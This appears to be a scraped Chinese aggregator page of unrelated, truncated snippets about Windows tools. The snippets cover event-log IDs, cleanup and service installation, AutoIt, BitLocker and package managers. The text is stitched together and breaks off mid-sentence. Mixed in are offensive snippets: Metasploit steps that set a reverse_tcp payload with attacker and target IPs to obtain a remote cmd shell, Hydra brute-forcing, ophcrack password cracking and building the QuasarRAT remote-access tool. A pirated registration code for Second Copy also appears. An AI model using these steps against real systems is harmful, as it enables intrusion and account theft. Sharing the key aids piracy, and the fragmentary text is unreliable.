0x01 Windows应急日志常用的几个事件ID 4624:这个事件ID表示成功登陆的用户,用来筛选该系统的用户登陆成功情况. 4625:这个事件ID表示登陆失败的用户. 4768:这个事件ID表示Kerberos身份验证票证请求(TGT请求) 4769:这个事件ID表示已发出Kerberos服务票证请求(ST请求) 4776:这个事件ID表示计算机尝试验证账户凭据(NTLM) 0x02 LogonTracer LogonTracer是一款用于可视化分析Windows安全事件日志寻找恶意登录的

Windows 更新清理工具是一款效果非常显著的Windows7.Windows8操作系统清理优化工具!经常安装系统的朋友相比有所体会,刚刚安装完成的Win7.Win8其实占的空间并不大,去掉页面文件和休眠文件后,真正的系统只几个G而已,但如果你给系统升级了补丁后,你会发现系统所需要占用的空间直线上升!轻松突破10G的门槛!加上休眠文件和页面文件,本来预留给系统的30G空间马上变得也不富裕了. 究其原因,在于系统目录下的WinSxS目录占用了大量的空间!在我们安装了大量的系统更新后,新的系统文件

如何安全管理windows系统日志,windows系统日志的报表和告警 无论大小,每个拥有IT基础设施的组织都容易发生内部安全攻击.您的损失等同于黑客的收益:访问机密数据.滥用检索到的信息.系统崩溃,以及其他等等.专注于网络外部的入侵是明智的,但同时,内部安全也不应忽视.广泛的调查表明,大部分的安全政策违规都发生在企业内部.作为实现内部安全的主动措施,您的组织必须监控记录为事件日志的每个系统活动.信息系统管理者一直背负着管理大量事件日志收集.为安全目的和系统性能对安全日志进行分类的压力. 通过E

无法从命令行或调试器启动服务,必须首先安装Windows服务(使用installutil.exe),然后用ServerExplorer.Windows服务器管理工具或NET START命令启动它 1.以管理员身份运行cmd 2.安装windows服务 cd C:\Windows\Microsoft.NET\Framework\v4.0.30319(InstallUtil.exe的路径,注意InstallUtil.exe的版本号需要和项目的版本号相同) 3.安装windows服务 InstallU

利用Windows系统日志统计员工每天上下班考勤时间(命令行参数为统计月份): using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Diagnostics; namespace ConsoleSysLogView { class Program { static void Main(string[] args) { SystemLog log = ne

Windows Phone开发工具在MIX 2010上火热登场了.Windows Mobile开发者们压抑许久的热情终于爆发出来,对于Windows Phone的华丽转身,开发者们褒贬不一,有人对Silverlight. XNA等新技术充满期待,有人对放弃以前版本兼容性.不支持C++开发满腹怨言. 无论如何,Windows Phone为我们带来了新的用户体验.新的开发工具,总比让开发者守着Windows Mobile的老面孔,一起慢慢变老,要好吧?下面,就让我们看看Windows Phone开发

windows gui测试工具:AutoIt 2017-01-09 目录 1 简介2 示例1 记事本自动化操作3 示例2 上传文件 1 简介 返回 AutoIt v3 是用以编写并生成具有 BASIC 语言风格的脚本程序的免费软件, 它被设计用来在Windows GUI(用户界面)中进行自动操作.AutoIt 最初是为PC(个人电脑)的"批量处理"而设计, 用于对数千台PC进行(同样的)配置. 现在,autoit是一个支持复杂表达式,自定义函数,循环等的强大脚本软件. AutoIt3.

教你用Windows自带工具给优盘/移动硬盘添加密码 本文中优盘,移动硬盘和分区操作方式一样,为方便描述,下文将只说优盘 优盘成了很多人每天都会用到的工具,有时候自己优盘会存着一些不希望别人看到的文件,要是一不小将优盘丢失了就完蛋了.这个时候给自己的优盘添加一个使用密码就是一个很好的解决方式. 市面上有很多可以给优盘上锁的软件,一方面解密加密不方便,另一方面这些软件绝大部分都是需要收费的.其实Windows自带有一个小工具--BitLocker就可以轻松帮你实现加密功能. 首先在开始菜单打开控制

Windows密码破解工具ophcrack   Windows用户密码都采用哈希算法加密进行保存.Kali Linux内置了专用破解工具ophcrack.该工具是一个图形化界面工具,支持Windows XP.Vista/7密码破解.它支持暴力和彩虹表两种破解方式.安全人员可以到官网下载免费的彩虹表文件,或者购买收费的彩虹表文件.该工具不仅支持哈希文件,也支持pwdump和SAM文件.该工具还支持对现有的帐号进行安全审计,确认帐号的安全程度.同时,该工具还提供命令行接口ophcrack-cli,方

Microsoft Windows恶意软件删除工具可以检查运行 Windows XP.Windows 2000 和 Windows Server 2003 的计算机是否受到特殊.流行的恶意软件(包括 Blaster.Sasser 和 Mydoom)的感染,并帮助您删除所有找到的感染病毒. 当检测和删除过程完成时,此工具将显示一个报告,说明检测到并删除了哪些恶意软件(如果有)等检查结果. Microsoft 在每月的第二个星期二和需要响应安全事件时发布此工具的更新版本. 您可以随时从此网页运行该工

网络漏洞攻击工具 Metasploit 先msfupdate升级: 然后选择msfconsole: 接下来: set LHOST 本机IP地址 setLPORT setg PAYLOAD windows/shell/reverse_tcp setg RHOST 目标IP地址 setg port set target 随意数字 exploit 这样就可以反弹一个cmd shell了. 密码破解 Hydra 多samba,smb,ssh,smtp,telnet,mysql,ftp,vnc,icq,s

说明:之前Office自带的Windows远程桌面工具虽然简便,但是保存的服务器列表有限.而这个微软推出的自家工具可以完美解决这些问题. 下载: (链接:https://pan.baidu.com/s/1c2feWxU 密码: aq1r)

Windows下MetaMap工具安装 一.Main MetaMap安装 Prerequisties 12G磁盘空间 JAVA6 or newer JRE or SDK installed Downloading The distribution is available at the MetaMap Main Download Page URL: http://metamap.nlm.nih.gov/MainDownload.shtml 图形安装 双击public_mm目录下的“Install

windows 文件同步工具: realTimesync freefilesync second copy   second copy注册码: Name:爱学府软件园 注册码:15BF-E46C-672C

Windows Update MiniTool 是一款管理 Windows Update 的工具,可以取得微軟 Windows 修補程式更新包,Windows Update 是我們用來升級系統的元件,透過它來更新我們的系統,能夠擴展系統的功能,讓系統支援更多的軟.硬體,解決各種相容性問題,讓系統更安全.更穩定.Windows Update MiniTool 可以管理更新下載和安裝,對更新模式進行控制,「更新服務」為使用者提供下載更新類型的選擇,包括「微軟更新」.「Windows 更新」.「Win

利用Windows内置工具winsat测试硬盘速度(SSD&机械盘对比) 以下是红色内容是在命令行运行: C:\Users\Administrator>winsat diskWindows 系统评估工具> 正在运行: 功能枚举 ''> 运行时间 00:00:00.00> 正在运行: 存储评估 '-seq -read -n 1'> 运行时间 00:00:05.79> 正在运行: 存储评估 '-ran -read -n 1'> 运行时间 00:00:00.48

windows 在包管理上一般大家都是网上下载二进制文件或者就是通过软件管家进行安装,这些对于开发人员可能就有点不是 很专业了, Chocolatey 是一个不错的windows 软件包管理工具 安装 注意安装的时候必须使用的是管理员权限 Chocolatey 官方文档已经很全了,给我们提供了下线以及离线的安装指南,同时我们可以通过cmd 以及powershell 进行安装 cmd 方式安装   @"%SystemRoot%\System32\WindowsPowerShell\v1.0\pow

Windows远程管理工具RAT QuasarRAT github.com/quasar/QuasarRAT 命令环境 MINGW64 (GCC编译器) mkdir RAT cd RAT git clone 下载URL 配置好一切以后在bin release client路径下 Metasploit基础 有图形化界面,有命令行,有浏览器界面 parrot发行版 启动数据库让Metasploit可以更快的搜索和运行 service postgresql start msfconsole help

您可借助此项筛选程序对具备.rtf扩展名的文档进行爬行遍历,以便通过搜索结果对目标文档加以访问调用.管理员应先在相关服务器上对程序文件进行注册,方可运行此项工具. 用户下载.安装并使用相关代码的行为即表明其接受并同意“最终用户许可协议”(EULA). 安装: 将动态链接库文件rtffilt.dll复制到运行SharePoint Portal Server之计算机操作系统盘上的WINNT\System32目录下. 针对rtffilt.dll执行注册操作: 在任务栏上,先点击Start(开始),再依

5款顶尖Windows文件传输工具 英文原文: Drasko 日常工作中,公司里的系统管理员或其他岗位的员工都需要传递大量各种类型的文件和文档.其中一些可以通过 email 收发.但由于 email 附件有文件大小限制,因此需要使用文件传输工具来传递较大的文件.在这种情况下就需要文件传输工具出场了.本文即将介绍 5 款顶尖高效免费 Windows 文件传输工具. FileZilla FileZilla 是 Windows 上使用最多的免费 ftp 客户端.它是一款遵循 GNU 公共许可证发布的开

Windows 磁盘分区后如何再合并&用Windows自带工具扩大某个分区 注:此方法有一定的成功率,更加完善可行的方法请看http://www.diskgenius.cn/help/partresizing.php 我们常常会以为装双系统而分出一个不大不小的小分区出来,以便使双系统或者多系统互不影响. 但是不用之后就会留下那些小分区.(对于强迫症而言0-0 实在是难以忍受) 下面教大家如何(我是在Windows10和Windows7下做的 (Windows7 ,8 ,8.1 都可以 . XP没